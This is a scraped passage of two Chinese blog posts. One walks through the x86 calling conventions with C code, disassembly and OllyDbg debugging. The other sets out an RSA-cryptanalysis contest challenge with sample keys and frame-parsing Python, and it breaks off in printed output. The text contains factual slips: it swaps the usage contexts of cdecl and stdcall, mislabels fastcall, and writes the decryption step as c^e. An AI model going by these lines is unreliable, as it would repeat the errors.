针对这三个约定,不同的调用惯例有不同的实现,参考课本和搜索引擎,归纳如下\n调用惯例 调用场合 传参方式 入栈顺序 传返回值 清理栈者 名字修饰 cdecl Windows API 栈传参 从右至左压栈 寄存器(EAX) 调用者函数 _+函数名 stdcall C/C++ 栈传参 从右至左压栈 寄存器(EAX) 被调用者函数 _+函数名+@+参数的字节数 fastcall GCC/Microsoft 左DWORD用ECX和EDX,剩余栈传参 从右至左压栈 寄存器(EAX) 被调用者函数 @+函数名+@+参数字节数 程序分析 函数设置 main函数\n#include\u0026lt;stdio.h\u0026gt; int __cdecl add1(int a, int b); int __stdcall add2(int a, int b); int __fastcall add3(int a, int b); int main(int argc, char *argv[]) { //调用cdecl调用惯例下的add函数 add1(1,2); //调用stdcall调用惯例下的add函数 add2(1,2); //调用fastcall调用惯例下的add函数 add3(1,2); return 0; } add函数\nint __cdecl add1(int a, int b)//cdecl调用惯例下的add函数 { return a + b; } int __stdcall add2(int a, int b)//stdcall调用惯例下的add函数 { return a + b; } int __fastcall add3(int a, int b)//fastcall调用惯例下的add函数 { return a + b; } 分别对三种种调用惯例下的main(共用)和sub函数(区别所在)进行编译,生成二进制可执行文件,然后拖入ollydbg进行反汇编调试,观察main调用sub函数时栈状态的变化。\ngcc -g callfuction.c -o deg_work1 #生成debug信息 Ollydbg提示Not a valid PE file,****.exe‘ is probably not a 32-bit Portable Executable.\n发现Ollydbg只能编译32位的文件\ngcc -g -m32 callfuction.c -o deg_work1 #生成带debug信息的32位二进制文件 在Linux里面编译一直报错warning: implicit declaration of function ‘add’ [-Wimplicit-function-declaration]\n原因原来是Windows下的调用约定可以是stdcall/cdecl/fastcall,这些标识加在函数名前面,如:\nint __stdcall funca() 但在Linux下,如按照上面写法后,编译程序将导致编译错误,Linux下正确的语法如下:\nint __attribute__ ((__stdcall__)) funca() int __attribute__ ((__cdecl__)) funca() 程序反编译 main函数 ; int __cdecl main(int argc, char **argv) public _main ;main函数 _main proc near var_4= dword ptr -4 ; int argc argc= dword ptr 8 ; int argc argv= dword ptr 0Ch ; char **argv lea ecx, [esp+4] ; char **argv and esp, 0FFFFFFF0h ;esp是栈指针 16字节对齐 push dword ptr [ecx-4] ; argc入栈 push ebp ; ebp入栈,保留基址 mov ebp, esp ; ebp指向栈顶 push ecx ; argv入栈 sub esp, 14h ; 20字节的栈空间 call ___main ; 调用___main函数 mov dword ptr [esp+4], 2 ; b mov dword ptr [esp], 1 ; a call _add1 ; 调用add1函数 mov dword ptr [esp+4], 2 ; b mov dword ptr [esp], 1 ; a call _add2@8 ; 调用add2函数 sub esp, 8 ; 开辟8字节的栈空间 mov edx, 2 ; b mov ecx, 1 ; a call @add3@8 ; 调用add3函数 mov eax, 0 ; 返回值 mov ecx, [ebp+var_4] ; argc leave ; 恢复栈指针 lea esp, [ecx-4] ; 恢复栈指针 retn ; 返回 _main endp ; main函数结束 cdecl下的add1函数 名字修饰方式 _+函数名 _add1\n; int __cdecl add1(int a, int b) public _add1 ; _add1 proc near ; a= dword ptr 8 ;为变量a分配内存 b= dword ptr 0Ch ;为变量b分配内存 push ebp ;保存上一级函数的ebp mov ebp, esp ;将当前函数的esp赋值给ebp mov edx, [ebp+a] ;将ebp+a的值赋值给edx mov eax, [ebp+b] ;将ebp+b的值赋值给eax add eax, edx ;将eax和edx相加 pop ebp ;恢复上一级函数的ebp retn ;返回 _add1 endp ;函数结束 stdcall下的add2函数 名字修饰方式 函数名+@+参数的字节数 _add2@8\n; int __stdcall add2(int a, int b) public _add2@8 _add2@8 proc near a= dword ptr 8 ;为变量a分配内存 b= dword ptr 0Ch ;为变量b分配内存 push ebp ;保存上一级函数的ebp mov ebp, esp ;将当前函数的esp赋值给ebp mov edx, [ebp+a] ; 将ebp+a的值赋值给edx mov eax, [ebp+b];将ebp+b的值赋值给eax add eax, edx ;将eax和edx相加 pop ebp ;恢复上一级函数的ebp retn 8 ;返回 _add2@8 endp ;函数结束 fastcall下的add3函数 名字修饰方式 @+函数名+@+参数字节数 @add3@8\n; int __stdcall add3(int a, int b) public @add3@8 @add3@8 proc near a= dword ptr 8 ;为变量a分配内存 b= dword ptr 0Ch ;为变量b分配内存 push ebp ;保存上一级函数的ebp mov ebp, esp ;将当前函数的esp赋值给ebp sub esp, 8 ;为局部变量分配内存 mov [ebp+a], ecx ;将ecx的值赋值给ebp+a mov [ebp+b], edx ;将edx的值赋值给ebp+b mov edx, [ebp+a] ;将ebp+a的值赋值给edx mov eax, [ebp+b] ;将ebp+b的值赋值给eax add eax, edx ;将eax和edx相加 leave ;恢复上一级函数的ebp retn ;返回 @add3@8 endp ;函数结束 OD分析 值得注意的是直接搜索这些函数名在od里面无法找到,实际上是因为od以可执行文件名命名其中的用户函数:\n如可执行文件是test.exe,那么od分析出来的用户函数命名基本上都是test.XXXXXX之类的形式\n然后如何快速找到函数入口(如果不是设置了messagebox这样的函数的话):\n这篇文章给我们大概介绍了一下 【笔记】OllyDBG 找程序主函数入口地址总结_51CTO博客_ollydbg怎么找函数入口地址\n找几个压栈指令 压栈完了之后就是对栈的初始化 通常在压栈指令之前都有一个跳转指令(这个有时地址偏移比较大) 我选择还是去设置messagebox,更好去找到函数调用点,缺点是程序会更加庞杂\n#include\u0026lt;Windows.h\u0026gt; int __cdecl add1(int a, int b); int __stdcall add2(int a, int b); int __fastcall add3(int a, int b); int f; int main(int argc, char* argv[]) { MessageBox(0, NULL, NULL, MB_OK); f = 0x778899; //调用cdecl调用惯例下的add函数 add1(1, 2); //调用stdcall调用惯例下的add函数 add2(1, 2); //调用fastcall调用惯例下的add函数 add3(1, 2); return 0; } int __cdecl add1(int a, int b)//cdecl调用惯例下的add函数 { //MessageBox(0, (LPCWSTR)L\u0026#34;this is cdecl\u0026#34;,(LPCWSTR)L\u0026#34;1\u0026#34;, MB_OK); f = 0x112233; return a + b; } int __stdcall add2(int a, int b)//stdcall调用惯例下的add函数 { // MessageBox(0, (LPCWSTR)L\u0026#34;this is stdcall\u0026#34;, (LPCWSTR)L\u0026#34;2\u0026#34;, MB_OK); f = 0x223344; return a + b; } int __fastcall add3(int a, int b)//fastcall调用惯例下的add函数 { //MessageBox(0, (LPCWSTR)L\u0026#34;this is fastcall\u0026#34;, (LPCWSTR)L\u0026#34;3\u0026#34;, MB_OK); f = 0x334455; return a + b; } 定位到打上断点\nF2快速运行到main函数入口\nF8单步运行调试,出现弹窗,说明已经进入了main函数,然后在这个函数运行结束后会返回main函数,因此我们找到了函数调用入口\n参数传递 这里可以看到cdecl和stdcall的参数都是用栈传输 stdcall 左DWORD用ECX和EDX,剩余栈传参\n返回值 都用EAX将返回值返回\n入栈顺序\n都是从右向左依次压栈\n栈清理 cdecl并不会自己清理栈空间,而是由main函数去清理\nstdcall自己清理栈空间\n可以看到这里返回的时候是retn 8,意味着还要弹出8个字节,而从栈中可以看到,ESP+8之后恰好把参数1和2弹出,即在add2(被调用者)函数内部完成参数清理\nfastcall自己清理栈空间\nO1-O3优化 优化等级设置 O的设置一共有5种常见的 O0:零,表示关闭所有优化选项, 也就是默认的参数,没有进行优化 参数 -O1、-O2、-O3 中,随着数字变大,代码的优化程度也越高,不过这在某种意义上来说,也是以牺牲程序的可调试性为代价的。 Os:是在-O2的基础上,去掉了那些会导致最终可执行程序增大的优化,如果想要更小的可执行程序,可以使用这个选项。 补充几个 Og 是在O1 的基础上,去掉了哪些影响调试的优化,所以最终是为了调试程序,可以使用该参数。不过光有这个参数也是不行的,这个参数只是告诉编译器,编译后的代码不要影响调试,但调试信息的生成还是靠 -g 参数的。 -Ofast 是在O3 的基础上,添加了一些非常规优化 可以使用gcc -Q – help=optimizers命令来查询\ngcc -m32 callfuction.c -o deg_work2 -O1 //进行编译 O1 相较于无优化的O1优化缩短可代码长度,减少了压栈操作,如ebp,无需去清理在该函数的栈空间,并且直接通过访问栈空间的方式进行运算,减少了对其他函数的访问。\nO2 重复的函数结构和无需要的子函数被优化掉了,最终剩余fastcall\nO3 跟O2差不多,减少了冗余和一些内存空间的损耗\n","permalink":"https://niceasiv.cn/posts/calling_convention/","summary":"调用惯例 简要介绍 ==调用惯例(Calling Conventions)==指计算机程序执行时调用函数或过程的一些约定,包括:\n1.函数的参数是通过栈还是寄存器传递? 2.如果通过栈传递,顺序是怎样的,是从左至右入栈还是相反。 3.谁负责清理栈,是调用者还是被调用者? 针对这三个约定,不同的调用惯例有不同的实现,参考课本和搜索引擎,归纳如下\n调用惯例 调用场合 传参方式 入栈顺序 传返回值 清理栈者 名字修饰 cdecl Windows API 栈传参 从右至左压栈 寄存器(EAX) 调用者函数 _+函数名 stdcall C/C++ 栈传参 从右至左压栈 寄存器(EAX) 被调用者函数 _+函数名+@+参数的字节数 fastcall GCC/Microsoft 左DWORD用ECX和EDX,剩余栈传参 从右至左压栈 寄存器(EAX) 被调用者函数 @+函数名+@+参数字节数 程序分析 函数设置 main函数\n#include\u0026lt;stdio.h\u0026gt; int __cdecl add1(int a, int b); int __stdcall add2(int a, int b); int __fastcall add3(int a, int b); int main(int argc, char *argv[]) { //调用cdecl调用惯例下的add函数 add1(1,2); //调用stdcall调用惯例下的add函数 add2(1,2); //调用fastcall调用惯例下的add函数 add3(1,2); return 0; } add函数\nint __cdecl add1(int a, int b)//cdecl调用惯例下的add函数 { return a + b; } int __stdcall add2(int a, int b)//stdcall调用惯例下的add函数 { return a + b; } int __fastcall add3(int a, int b)//fastcall调用惯例下的add函数 { return a + b; } 分别对三种种调用惯例下的main(共用)和sub函数(区别所在)进行编译,生成二进制可执行文件,然后拖入ollydbg进行反汇编调试,观察main调用sub函数时栈状态的变化。\ngcc -g callfuction.c -o deg_work1 #生成debug信息 Ollydbg提示Not a valid PE file,****.exe‘ is probably not a 32-bit Portable Executable.\n发现Ollydbg只能编译32位的文件\ngcc -g -m32 callfuction.c -o deg_work1 #生成带debug信息的32位二进制文件 在Linux里面编译一直报错warning: implicit declaration of function ‘add’ [-Wimplicit-function-declaration]","title":"调用惯例"},{"content":"题目摘要 赛题名称: RSA 加密体制破译 赛题描述 RSA密码算法是使用最为广泛的公钥密码体制。该体制简单且易于实现,只需要选择5个参数即可(两个素数$𝑝$和$𝑞$、模数$𝑁=𝑝𝑞$、加密指数$𝑒$和解密指数$𝑑$。设𝑚为待加密消息RSA体制破译相当于已知$𝑚^𝑒$ $mod$ $𝑁$能否还原𝑚的数论问题。目前模数规模为1024比特的RSA算法一般情况下是安全的,但是如果参数选取不当,同样存在被破译的可能。有人制作了一个RSA加解密软件采用的RSA体制的参数特点描述见密码背景部分)。\n已知该软件发送某个明文的所有参数和加密过程的全部数据(加密案例文件详见附件3-1。Alice使用该软件发送了一个通关密语,且所有加密数据已经被截获,请问能否仅从加密数据恢复该通关密语及RSA体制参数?如能请给出原文和参数,如不能请给出已恢复部分并说明剩余部分不能恢复的理由?\n加密过程 原始明文 This is a test of my RSA system. Frame0\nA5F51EB02EA9C0CC9B96926A08A761FE3E7CDB6E5B348DBEAEC761DBCFCDB15A6C76F8EE08196008AE60E396D7E228C6DAFC3CC1127F16EC87576B89C151F20F99098621FD46872BC92CDA8C915B758E5C0CACB994F55B8705B938126E08589E2502A7B9019C9A62E82392E8449E00CFC7DA17B8CDE92F9516CE9A2009F42DD900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100019726C82FED1E6CD58DE825528AE5634653C9921CAE02AFF7325F20D6E7085B7C8E3DC78D7518A78A8BC7D07E2E837083324579510851827794AE3D1FB9BAB360B1413A8F171A83804CEA73DFBC1248139BB27EB7D5BAD724AD8B08F51888B90562AF950725ACDD698F817AE62746CEA09479A191A6552B0116830355C68D0F61 Frame1\nA5F51EB02EA9C0CC9B96926A08A761FE3E7CDB6E5B348DBEAEC761DBCFCDB15A6C76F8EE08196008AE60E396D7E228C6DAFC3CC1127F16EC87576B89C151F20F99098621FD46872BC92CDA8C915B758E5C0CACB994F55B8705B938126E08589E2502A7B9019C9A62E82392E8449E00CFC7DA17B8CDE92F9516CE9A2009F42DD90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001789018FDB800AD59A54D27A77F280515BB3BFAB1CD75CB0A255A116D4A44849459FD887FF091F87C0B3E6305F019700E4E4CB3646D1DF276DFB87C4F64245F77377508EC6A796236F8ABB125023D3F4B898F55E3342D0A852193AF890990EA82F12FC85917BF132F2A58C449648D6E934B24E80307AB092DB18110D77BBA0F8E Frame2\nBA645145D9DE58B0FFA6FC4624A2815092D2A2DC405E7A2515F985727D3C52F479A4D04694568CA9B08391BE79BD122808CF6034AB7251088687BFF5916A4F4723FE1372DCF9B069CAB269A9F8F47CB50078D3279B9452C9B3B65A07B49C793783EDB8EB8D8F1A220D9EFED33147483103A2551A96932738255493F13B5119530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001534810A0D1B2F6FB257DC3BBDA30AA76157B89038E52D05EE1E5DB06C2D79FAE84892950EF5FD8ADC4F241C3741AD7C97002902C8CA4D96574F28EDCEF3BEF15303335FA8D250102B4EE77E3B405E30F6B81E92403A8881285B65F29668E05B9CD6AC44FC1CD193CF4A5811A2649BE0EDEFBA91FA7143266286C5EC6EE8077D6 Frame3\nBA645145D9DE58B0FFA6FC4624A2815092D2A2DC405E7A2515F985727D3C52F479A4D04694568CA9B08391BE79BD122808CF6034AB7251088687BFF5916A4F4723FE1372DCF9B069CAB269A9F8F47CB50078D3279B9452C9B3B65A07B49C793783EDB8EB8D8F1A220D9EFED33147483103A2551A96932738255493F13B51195300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100018805A937DABF25FE760F9F398C7D9D5955EF7468FEC89119F8DD69874FB009AB2C424BD6A8E85401C4CD130B48D0490586DFBD81C8154EDCEFC3AFC4F80338432197EB059AB54CF109B231416FB65E2F9BE4F01D455E25486D8E155A5874E8A910E8C65F73ACD953D316B35A148D5AC5834D86F66AD415EBA38AD3908B32780A 2.过程及参数\nRSA 密码算法描述如下,包含体制参数选取和加解密过程。\n1)RSA 体制参数选取\n Step1.每个使用者,任意选择两个大素数$𝑝$和$𝑞$,并求出其乘积$𝑁=𝑝𝑞$。\n Step2.令$𝜑(𝑁)=(𝑝−1)(𝑞−1)$选择整数$𝑒$,使得$GCD(𝑒,𝜑(𝑁))=1$,并求出$𝑒$模 $𝜑(𝑁)$的逆元$𝑑$,即$𝑒𝑑≡1 mod (𝜑(𝑁))$\n Step3.将数对$(𝑒,𝑁)$公布为公钥,$𝑑$保存为私钥。\n2)加解密过程\n Bob欲传递明文𝑚给 Alice,则Bob首先由公开途径找出 Alice 的公钥 $(𝑒,𝑁)$,Bob 计算加密的信息$𝑐$为:$𝑐 ≡ 𝑚^𝑒$ $mod$ $𝑁$。\n Bob 将密文$𝑐$传送给 Alice。 随后 Alice 利用自己的私钥$𝑑$解密: $𝑐^e ≡ (𝑚^𝑒)^𝑑 ≡ 𝑚^{𝑒𝑑}≡ 𝑚\\space mod\\space 𝑁$\nAlice 使用的 RSA 密码体制有以下事项需要说明:\n\t1)模数𝑁=𝑝𝑞规模为1024比特,其中𝑝,𝑞为素数;\n\t2)素数𝑝由某一随机数发生器生成;\n\t3)素数𝑞可以随机选择,也可以由2)中的随机数发生器产生;\n\t4)可以对文本加密,每次加密最多8个明文字符;\n\t5)明文超过8个字符时,对明文分片,每个分片不超过8个字符;\n\t6)分片==明文填充为512比特消息后再进行加密,填充规则为高位添加64比特标志位,随后加上32比特通信序号==,再添加若干个0,最后64比特为明文分片字符对应的ASCII码(**注:填充方式参见加密案例,但注意每次通信的标志位可能变化)\n\t7)分片加密后发送一个加密帧数据,帧数据文件名称为FrameXX,其中XX表示接收序号,该序号不一定等于通信序号;\n\t8)帧数据的数据格式如下,其中数据都是16进制表示,结构如下==1024bit模数N | 1024bit加密指数e | 1024bit密文== $m^e\\space mod \\space N$。\n\t9)由于Alice初次使用该软件,可能会重复发送某一明文分片。\n符号说明: n 模数、p 素数、q素数、e加密指数、d 解密指数、m 明文分片、c 密文分片、“0X”十六进制数据表示\n明文: \u0026ldquo;This is a test of my RSA system.\u0026ldquo;将其分割为4个8字符长度消息(注意:空格也是一个字符)\nThis is 该8字符对应的ASCII为\t54\t68\t69\t73\t20\t69\t73\t20\t将其视为64比特整数为==\u0026gt;\t0X5468697320697320 a test o\t该8字符对应的ASCII为\t61\t20\t74\t65\t73\t74\t20\t6F\t将其视为64比特整数为==\u0026gt;\t0X612074657374206F f my RSA\t该8字符对应的ASCII为\t66\t20\t6D\t79\t20\t52\t53\t41\t将其视为64比特整数为==\u0026gt;\t0X66206D7920525341 system.\t该8字符对应的ASCII为\t20\t73\t79\t73\t74\t65\t6D\t2E\t将其视为64比特整数为==\u0026gt;\t0X2073797374656D2E 选择前缀为0xFFFFFFFFFFFFFFFF,再添加通信序号和若干个0,最终填充后的4条消息依次为\n0xFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005468697320697320 0xFFFFFFFFFFFFFFFF000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000612074657374206F 0xFFFFFFFFFFFFFFFF00000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066206D7920525341 0xFFFFFFFFFFFFFFFF0000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000002073797374656D2E 第0个明文分片参数及加密结果\np= 0XC60C5F1B997ED8A5E340023F33D2E269CFB423A3CF66B46D3F686747403A92B1265CB12B9A4E0135B890254F31A2C3F96A0427B39A36DEFDEEB85C57A80A9641 q= 0XD684DA331AB6157DA338B6D7B08AB4C1B72C29BB7F9EF445466056DFDBF29809C4D4A2435986A40DE688AFE7CC5A5C519F7C63CB486E44D523B0E1EF21C22199 n= 0XA5F51EB02EA9C0CC9B96926A08A761FE3E7CDB6E5B348DBEAEC761DBCFCDB15A6C76F8EE08196008AE60E396D7E228C6DAFC3CC1127F16EC87576B89C151F20F99098621FD46872BC92CDA8C915B758E5C0CACB994F55B8705B938126E08589E2502A7B9019C9A62E82392E8449E00CFC7DA17B8CDE92F9516CE9A2009F42DD9 e= 0X10001 d= 0X4C5340AAECBB1BB5BE74F09F9D9D45BF4583ECF38334D75FF44834A4809CEC4D57071C9374DC1EC3BF574634B0D30DC7EF1D04E0131EAA2F5C4B8364D6A95676C23F9DADAAB4523A6F5B22EC5904650BF558B3FDF39E3B13EA4771FB1D297DA03C8E1E82F4759B31A9492C56E4D1C690A66ECEC430849A17C027D1A7480F1E01 m= 0XFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005468697320697320 c= 0X9726C82FED1E6CD58DE825528AE5634653C9921CAE02AFF7325F20D6E7085B7C8E3DC78D7518A78A8BC7D07E2E837083324579510851827794AE3D1FB9BAB360B1413A8F171A83804CEA73DFBC1248139BB27EB7D5BAD724AD8B08F51888B90562AF950725ACDD698F817AE62746CEA09479A191A6552B0116830355C68D0F61 第1个明文分片参数及加密结果\np= 0XC60C5F1B997ED8A5E340023F33D2E269CFB423A3CF66B46D3F686747403A92B1265CB12B9A4E0135B890254F31A2C3F96A0427B39A36DEFDEEB85C57A80A9641 q= 0XD684DA331AB6157DA338B6D7B08AB4C1B72C29BB7F9EF445466056DFDBF29809C4D4A2435986A40DE688AFE7CC5A5C519F7C63CB486E44D523B0E1EF21C22199 n= 0XA5F51EB02EA9C0CC9B96926A08A761FE3E7CDB6E5B348DBEAEC761DBCFCDB15A6C76F8EE08196008AE60E396D7E228C6DAFC3CC1127F16EC87576B89C151F20F99098621FD46872BC92CDA8C915B758E5C0CACB994F55B8705B938126E08589E2502A7B9019C9A62E82392E8449E00CFC7DA17B8CDE92F9516CE9A2009F42DD9 e= 0X10001 d= 0X4C5340AAECBB1BB5BE74F09F9D9D45BF4583ECF38334D75FF44834A4809CEC4D57071C9374DC1EC3BF574634B0D30DC7EF1D04E0131EAA2F5C4B8364D6A95676C23F9DADAAB4523A6F5B22EC5904650BF558B3FDF39E3B13EA4771FB1D297DA03C8E1E82F4759B31A9492C56E4D1C690A66ECEC430849A17C027D1A7480F1E01 m= 0XFFFFFFFFFFFFFFFF000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000612074657374206F c= 0X789018FDB800AD59A54D27A77F280515BB3BFAB1CD75CB0A255A116D4A44849459FD887FF091F87C0B3E6305F019700E4E4CB3646D1DF276DFB87C4F64245F77377508EC6A796236F8ABB125023D3F4B898F55E3342D0A852193AF890990EA82F12FC85917BF132F2A58C449648D6E934B24E80307AB092DB18110D77BBA0F8E 第2个明文分片参数及加密结果\np= 0XD502B3D96C648A9393966CDD37188D37576AA221290C861B347ED7A57640993F7ED2D16992B42AA3CA66936D3268DE47EB3A61B1495C982BF54EC0350B907C4F3CA272F9ED04EEB355367DFDA1B89357130A25411DAC4E3B8A1EECC594E0435F0E7298897B54D6C334062C8D8508AC67CEDAECD1A5FCA84BF2EE5D q= 0XE00258CB6F n= 0XBA645145D9DE58B0FFA6FC4624A2815092D2A2DC405E7A2515F985727D3C52F479A4D04694568CA9B08391BE79BD122808CF6034AB7251088687BFF5916A4F4723FE1372DCF9B069CAB269A9F8F47CB50078D3279B9452C9B3B65A07B49C793783EDB8EB8D8F1A220D9EFED33147483103A2551A96932738255493F13B511953 e= 0X10001 d= 0X524EB244F1CE59966C273B91AC40B620CFB55BA2030E871F01147E11844888B6224C5D4DE14551DFDB93C984DAD94A4359643B247ED6CC7DE774A15440D525E26FE9CF4328DBEF2AAA8E402922596F1C23B8F117C018870777434C93B68F1028295DFA6E69FA8E00FFC4EFEF747C348EDBC99C529B7C3B649813647FF90A8261 m= 0XFFFFFFFFFFFFFFFF00000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066206D7920525341 c= 0X534810A0D1B2F6FB257DC3BBDA30AA76157B89038E52D05EE1E5DB06C2D79FAE84892950EF5FD8ADC4F241C3741AD7C97002902C8CA4D96574F28EDCEF3BEF15303335FA8D250102B4EE77E3B405E30F6B81E92403A8881285B65F29668E05B9CD6AC44FC1CD193CF4A5811A2649BE0EDEFBA91FA7143266286C5EC6EE8077D6 第3个明文分片参数及加密结果\np= 0XD502B3D96C648A9393966CDD37188D37576AA221290C861B347ED7A57640993F7ED2D16992B42AA3CA66936D3268DE47EB3A61B1495C982BF54EC0350B907C4F3CA272F9ED04EEB355367DFDA1B89357130A25411DAC4E3B8A1EECC594E0435F0E7298897B54D6C334062C8D8508AC67CEDAECD1A5FCA84BF2EE5D q= 0XE00258CB6F n= 0XBA645145D9DE58B0FFA6FC4624A2815092D2A2DC405E7A2515F985727D3C52F479A4D04694568CA9B08391BE79BD122808CF6034AB7251088687BFF5916A4F4723FE1372DCF9B069CAB269A9F8F47CB50078D3279B9452C9B3B65A07B49C793783EDB8EB8D8F1A220D9EFED33147483103A2551A96932738255493F13B511953 e= 0X10001 d= 0X524EB244F1CE59966C273B91AC40B620CFB55BA2030E871F01147E11844888B6224C5D4DE14551DFDB93C984DAD94A4359643B247ED6CC7DE774A15440D525E26FE9CF4328DBEF2AAA8E402922596F1C23B8F117C018870777434C93B68F1028295DFA6E69FA8E00FFC4EFEF747C348EDBC99C529B7C3B649813647FF90A8261 m= 0XFFFFFFFFFFFFFFFF0000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000002073797374656D2E c= 0X8805A937DABF25FE760F9F398C7D9D5955EF7468FEC89119F8DD69874FB009AB2C424BD6A8E85401C4CD130B48D0490586DFBD81C8154EDCEFC3AFC4F80338432197EB059AB54CF109B231416FB65E2F9BE4F01D455E25486D8E155A5874E8A910E8C65F73ACD953D316B35A148D5AC5834D86F66AD415EBA38AD3908B32780A 密文结构解析 提取传送帧的信息\nn=[]#模数集合 e=[]#公钥指数集合 c=[]#密文集合 m={}#明文集合 # Path: code\\main.py sloved=[]#已解密的密文集合 filename=[\u0026#39;RSA\\data\\Frame\u0026#39;+str(i) for i in range(0,21)]#文件名集合 # print(filename) for i in range(0,21): f=open(filename[i],\u0026#39;r\u0026#39;) data=f.read() #str-\u0026gt;hex-\u0026gt;int n.append(int(data[:256],16)) e.append(int(data[256:512],16)) c.append(int(data[512:],16)) #输出e的值 for i in range(0,21): print(\u0026#39;e[\u0026#39;+str(i)+\u0026#39;]=\u0026#39;+str(e[i])) #输出n的值 for i in range(0,21): print(\u0026#39;n[\u0026#39;+str(i)+\u0026#39;]=\u0026#39;+str(n[i])) #输出c的 for i in range(0,21): print(\u0026#39;c[\u0026#39;+str(i)+\u0026#39;]=\u0026#39;+str(c[i])) Output\ne[0]=46786465362686334917265996843779843233606992585424976481745055335468678697948774988450305612127967926533923268260412557000125153569622340353246096040604284883505587337829322949633637609180797447754513992039018904786537115087888005528547900640339270052628915440787357271345416818313808448127098885767015748889 e[1]=65537 e[2]=65537 e[3]=5 e[4]=152206992575706893484835984472544529509325440944131662631741403414037956695665533186650071476146389737020554215956181827422540843366433981607643940546405002217220286072880967331118344806315756304650248634546597784597963886656422706197757265316981889118026978865295597135470735576032282694348773714479076093197 e[5]=65537 e[6]=65537 e[7]=3 e[8]=5 e[9]=65537 e[10]=65537 e[11]=3 e[12]=5 e[13]=65537 e[14]=65537 e[15]=3 e[16]=5 e[17]=65537 e[18]=65537 e[19]=65537 e[20]=5 n[0]=90058705186558569935261948496132914380077312570281980020033760044382510933070450931241348678652103772768114420567119848142360867111065753301402088676701668212035175754850951897103338079978959810673297215370534716084813732883918187890434411552463739669878295417744080700424913250020348487161014643951785502867 n[1]=92921790800705826977497755832938592891062287903332844896046168726101016067456726822505517352409138948392871113192427210529297191908638888388136391240683157994654207338463678065440899870434887094216772312358731142317774259942199808535233769089985063860828267808621928898445383706310204223006136919334252875849 n[2]=90252653600964453524559669296618135272911289775949194922543520872164147768650421038176330053599968601135821750672685664360786595430028684419411893316074286312793730822963564220564616708573764764386830123818197183233443472506106828919670406785228124876225200632055727680225997407097843708009916059133498338129 n[3]=92270627783020341903769877272635163757611737252302329401876135487358785338853904185572496782685853218459404423868889360808646192858060332110830962463986164014331540336037718684606223893506327126112739408023014900003600028654929488487584130630596342720833061628867179840913592694993869009133576053124769728363 n[4]=90058705186558569935261948496132914380077312570281980020033760044382510933070450931241348678652103772768114420567119848142360867111065753301402088676701668212035175754850951897103338079978959810673297215370534716084813732883918187890434411552463739669878295417744080700424913250020348487161014643951785502867 n[5]=99193711547257063160816850544214924340574358752670644615293764532335872088470223740970673347993652626497557387222167784182876395436088845281840169701654629849214222297784511349059698963212947299142320497759258889425182705042123217476724761095690092179821753840224757786599021225709340258545979566824267620959 n[6]=146839643970016464813197409569004275595828791825722617066607993001682901023784267554815946189374651530288894322286859792246413142980277245909181062525398546369553995023529451396820549308690493928593324007689135648753323161394735120908960458860801743476353228970081369439513197105039143930008573928693059198131 n[7]=155266493936043103849855199987896813716831986416707080645036022909153373110367007140301635144950634879983289720164117794783088845393686109145443728632527874768524615377182297125716276153800765906014206797548230661764274997562670900115383324605843933035314110752560290540848152237316752573471110899212429555149 n[8]=102900163930497791064402577447949741195464555746599233552338455905339363524435647082637326033518083289523250670463907211548409422234391456982344516192210687545692054217151133151915216123275005464229534891629568864361154658107093228352829098251468904800809585061088484485542019575848774643260318502441084765867 n[9]=97767951046154372321400443371234495476461828137251939025051233003462769415459435471728054384852461870179980010660162922547425212869925648424741526671585598167502856111641944825179295197098826911226483155821197251989297102189187139234080795582529077092266799813985026581245196104843272305656744384140745492897 n[10]=93836514358344173762895084384953633159699750987954044414830106276642828025218933012478990865656107605541657809389659063108620208004740646099662700112782252200834393363574089818787717951026690934986964275526538236750596344542450864284576226592039259070002692883820960186403938410354082341916474419847211138467 n[11]=112306066601652819062206435724795595603085908011001671184332227488970057128128821831260649058569739569103298091727188365019228385820143813415009397359257831092635374404034997011441653286642458431865026213129412677064308342580757248577955071384972714557250468686599901682728173096745710849318629959223270431039 n[12]=90267480939368160749458049207367083180407266027531212674879245323647502822038591438536367206422215464489854541063867946215243190345476874546091188408120551902573113507876754578290674792643018845798263156849027209440979746485414654160320058352559498237296080490768064578067282805498131582552189186085941328701 n[13]=94390533992358895550704225180484604016029781604622607833044135524814562613596803297695605669157378162035217814540004231075201420796787547733762265959320018107419058832819010681344133011777479722382525797938558181629835768471461434560813554411133962651212455645589624432040989600687436833459731886703583047283 n[14]=120008876536855131221255979370745233738591934188224528487535120483456214085493237482915446419599357910343450285858995374277365393767669569942204888383426461862651659865189178784473131914234181752055950431093341514138390898892413182538823693941124637301582389014479754627419560568004831093116617428970538503551 n[15]=147733349387696521015664992396355145811249793103958464053225389476050097503928022819269482555955365534137156079172704297584033078453033637103720972881068435459202133846880715879894340131656691631756162323422868846616160423755883726450486845175227682329583615739797782025647376042249605775433971714513081755709 n[16]=90673177193017332602781813187879442725562909473411994052511479411887936365983777106776080722300002656952655125041151156684340743907349108729774157616323863062525593382279143395837261053976652138764279456528493914961780300269591722101449703932139132398288208673556967030162666354552157189525415838326249712949 n[17]=111178307033150739104608647474199786251516913698936331430121060587893564405482896814045419370401816305592149685291034839621072343496556225594365571727260237484885924615887468053644519779081871778996851601207571981072261232384577126377714005550318990486619636734701266032569413421915520143377137845245405768733 n[18]=93394639108667212482180458616036741615058981058942739509025631675767304945732437421192075466824789572910657586684470553691049259504106442090140927782673066834126848556317079995332229262871079799089771973100731889841015960713908117908583988637159206246729697336281050046919985463146705713899703248595045701819 